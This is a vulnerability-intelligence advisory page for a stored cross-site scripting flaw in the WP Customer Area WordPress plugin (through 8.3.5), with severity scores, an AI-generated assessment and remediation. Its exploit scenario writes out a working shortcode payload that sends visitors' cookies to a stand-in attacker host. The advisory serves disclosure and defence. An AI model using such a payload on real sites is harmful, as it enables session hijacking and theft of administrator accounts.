EUVD-2026-43612
GHSA-prrr-x57g-5wrp
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
PR:L reflects mandatory Contributor authentication; UI:R corrects the provided UI:N since victim page-visit is required for payload execution.
Primary rating from Vendor (Wordfence).
CVSS VectorVendor: Wordfence
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Lifecycle Timeline
2DescriptionCVE.org
The WP Customer Area plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'type' attribute of the customer-area-protected-content shortcode in all versions up to, and including, 8.3.5. This is due to insufficient input sanitization and output escaping on the shortcode attribute. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
AnalysisAI
Stored Cross-Site Scripting in WP Customer Area WordPress plugin (versions up to and including 8.3.5) allows authenticated attackers with Contributor-level access or above to persistently inject arbitrary JavaScript via the unsanitized 'type' attribute of the customer-area-protected-content shortcode. The injected payload executes in the browser of any user who visits the compromised page, enabling session hijacking, credential theft, or malicious redirects against site visitors. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires an authenticated WordPress session with at minimum Contributor-level role permissions - the attacker must have the capability to create or edit posts and pages containing shortcodes. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The provided CVSS 6.4 (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N) reflects moderate severity. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker who registers or compromises a Contributor account on the target WordPress site creates or edits a page embedding the [customer-area-protected-content type='<script>document.location="https://attacker.example/steal?c="+document.cookie</script>'] shortcode payload. The malicious payload is stored in the WordPress database and executed in the browser context of every authenticated or unauthenticated visitor who loads that page, enabling the attacker to harvest session cookies and hijack administrator sessions without any direct interaction after the initial injection. … |
| Remediation | Update WP Customer Area to version 8.3.6 or later, which contains the corrected shortcode attribute handling at the vulnerable code path (protected-content-shortcode.class.php lines 88-91). … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
More in Wp Customer Area
View allAuthenticated path traversal in the WP Customer Area WordPress plugin through version 8.3.4 allows users with low-privil
The WP Customer Area plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'tab' parameter in all
The WP Customer Area WordPress plugin through 8.2.4 does not have CSRF checks in some places, which could allow attacker
The WP Customer Area WordPress plugin through 8.2.4 does not have CSRF check in place when deleting its logs, which coul
Same weakness CWE-79 – Cross-site Scripting (XSS)
View allShare
External POC / Exploit Code
Leaving vuln.today